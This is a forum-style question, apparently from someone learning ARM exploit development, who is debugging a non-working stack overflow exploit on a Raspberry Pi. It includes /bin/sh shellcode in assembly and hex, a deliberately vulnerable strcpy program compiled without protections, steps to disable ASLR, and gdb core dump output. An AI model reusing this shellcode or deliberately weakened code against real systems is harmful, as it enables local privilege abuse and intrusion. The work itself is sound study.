Summary
I am trying to write a stack overflow exploit for ARM Cortex-A72 running Raspberry Pi OS (32-bit). Because of my choice of OS, I am restricted to the ARMv7 (32-bit) instruction set.
I have been largely following the tutorials on ARM exploit development
written by Azeria
Labs. However, I am
struggling to correctly complete the attack described in the
return-to-libc
tutorial
(FWIW, the program.c
source is defined
elsewhere). This
question is intended to be self-contained thus it is not necessary to
follow those links. Indeed, while that tutorial was my starting point, I
have since made a number of simplifications in the hope of getting the
exploit to work. Namely,
The shellcode is no longer an argument to the program, it is defined within
main
and passed to an auxiliary function (see below);I no longer jump to libc, instead I am using the starting stack address of my shellcode.
In this question, I will focus on my simplified program without the libc or argument-passing aspects of the original tutorial. I will pose my question before presenting the details of my problem. Then I will give a detailed summary of my own attempts to solve the issue, and any resources I have consulted along the way.
My central question: What can I do to make further useful progress on getting my exploit to work?
Problem Specifics
The Setup
First of all, I have disabled ASLR by editing
/proc/sys/kernel/randomize_va_space
, replacing 2
with 0
.
and by compiling exploit.c
with:
gcc exploit.c -o exploit -z execstack -fno-stack-protector -no-pie
so I should be getting consistent stack addresses on subsequent executions; borne out by my observations.
Debugging stack overflow exploits using gdb
is difficult due to the
differences in environment and program variables (affecting stack
addresses) as described on this
exchange
as well as a
couple
others. Instead
of directly debugging with gdb
, I analyse core
files with gdb
. I have manually instrumented the exploit to help with debugging.
The Code
The shellcode shelly.s
is as follows:
.section .text
.global _start
@@ Our shellcode is 32 bytes and ends with the starting stack
@@ address of this code.
_start:
.code 32
add r3, pc, #1
bx r3
.code 16
add r0, pc, #8
sub r1,r1
sub r2,r2
strb r2, [r0, #7]
mov r7, #11
svc #1
.ascii "/bin/shX"
.word 0xbefffd9c
which hard-codes the address (0xbefffd9c
) corresponding to the start
of our shellcode. I found this address by debugging the core
dumps. From shelly.s
I generate a string:
$ as shelly.s -o shelly.o
$ ld -N shelly.o -o shelly
$ objcopy -O binary shelly shelly.bin
$ hexdump -v -e '"\\""x" 1/1 "%02x" ""' shelly.bin
with output:
\x01\x30\x8f\xe2\x13\xff\x2f\xe1\x02\xa0\x49\x1a\x92\x1a\xc2\x71\x0b\x27\x01\xdf\x2f\x62\x69\x6e\x2f\x73\x68\x58\x9c\xfd\xff\xbe
which goes into my exploit.c
program:
#include <stdio.h>
#include <string.h>
void foo(char *s)
{
char buffer[24];
strcpy(buffer, s);
__asm__("sub r8, fp, #4"); // for finding the shellcode stack address
}
int main(void)
{
unsigned char shellcode[] =
"\x01\x30\x8f\xe2\x13\xff\x2f\xe1\x02\xa0\x49\x1a\x92\x1a\xc2\x71\x0b\x27\x\
01\xdf\x2f\x62\x69\x6e\x2f\x73\x68\x58\x9c\xfd\xff\xbe";
foo(shellcode);
return 0;
}
An additional assembly instruction was included to save the state of the
stack pointer just before popping the frame and return addresses off the
stack. By debugging core
dumps of this program, I was able to compute
that 0xbefffd9c
is the starting address of my shellcode. I have kept
this instruction in the source to assist with debugging core dumps.
The Execution
I execute the above program using env - ./exploit
producing Illegal instruction (core dumped)
.
Note: I also tried ./exploit
directly but this produced Segmentation fault (core dumped)
and the respective core files differ in a
non-obvious way; both have the same value in R8
and the shellcode
appears in the expected location. For this question, I want to focus on the
env
-augmented execution above since that better controls for
environment effects.
Inspecting the core
with GDB (10.1.90.20210103-git) (with GEF
extension) we get:
Core was generated by `./program2'.
Program terminated with signal SIGILL, Illegal instruction.
#0 0xbefffdb4 in ?? ()
gef> info registers
r0 0xbefffd78 0xbefffd78
r1 0xbefffdbd 0xbefffdbd
r2 0x0 0x0
r3 0x0 0x0
r4 0x10488 0x10488
r5 0x0 0x0
r6 0x1ebfff7d 0x1ebfff7d
r7 0x0 0x0
r8 0xbefffd90 0xbefffd90
r9 0x0 0x0
r10 0xb6fff000 0xb6fff000
r11 0x5868732f 0x5868732f
r12 0xbefffd78 0xbefffd78
sp 0x0 0x0
lr 0x0 0x0
pc 0xbefffdb4 0xbefffdb4
cpsr 0xa8000010 0xa8000010
fpscr 0x0 0x0
gef> x/12x $r8
0xbefffd90: 0x5868732f 0xbefffd9c 0xb6fdd500 0xe28f3001
0xbefffda0: 0xe12fff13 0x1a49a002 0x71c21a92 0xdf01270b
0xbefffdb0: 0x6e69622f 0x5868732f 0xbefffd9c 0x00000000
gef> x/i 0xbefffd9c
0xbefffd9c: add r3, pc, #1
gef> disas foo
Dump of assembler code for function foo:
0x00010408 <+0>: push {r11, lr}
0x0001040c <+4>: add r11, sp, #4
0x00010410 <+8>: sub sp, sp, #32
0x00010414 <+12>: str r0, [r11, #-32] ; 0xffffffe0
0x00010418 <+16>: sub r3, r11, #28
0x0001041c <+20>: ldr r1, [r11, #-32] ; 0xffffffe0
0x00010420 <+24>: mov r0, r3
0x00010424 <+28>: bl 0x102e8 <strcpy@plt>
0x00010428 <+32>: sub r8, r11, #4
0x0001042c <+36>: nop ; (mov r0, r0)
0x00010430 <+40>: sub sp, r11, #4
0x00010434 <+44>: pop {r11, pc}
and I am not sure how the pc
manages to become 0xbefffdb4
since it
should be executing my shellcode after foo+44
places 0xbefffd9c
into
the pc
register.
My understanding of the stack immediately after foo+32
:
^higher addresses^
| . | \
| . | \
| . | |
| 0x1a49a002 | |`main` frame
| 0xe12fff13 | |
| 0xe28f3001 | / <--- start of shellcode
| 0xb6fdd500 | / <--- junk value (extra space added by compiler)
+----------------+/
| 0xbefffd9c | Return Address
+----------------+
| 0x5868732f | Frame Pointer
+----------------+\
| 0x6e69622f | \
| 0xdf01270b | \
| 0x71c21a92 | | foo's frame
| ... | /
| buffer[24] | /
| |/
+----------------+
Additional Research
A comment by @perror on this
answer
had me thinking that overwriting the frame pointer with 0x5868732f
could be an issue. However, modifying the shellcode to insert
0xbefffd9c
for both frame and return address did not solve the
problem. In fact, I gained an additional error as the first instruction
of my shellcode was decremented by 1; the instruction add r3, pc, #1
with hex 0xe28f3001
became 0xe28f3000
.
I have been able to execute other people's shellcode. Namely, Jonathan 'dummys' Borgeaud's 34byte ARM shellcode, located here: http://shell-storm.org/shellcode/files/shellcode-904.php. However, attempts to morph his code into mine proved unsuccessful.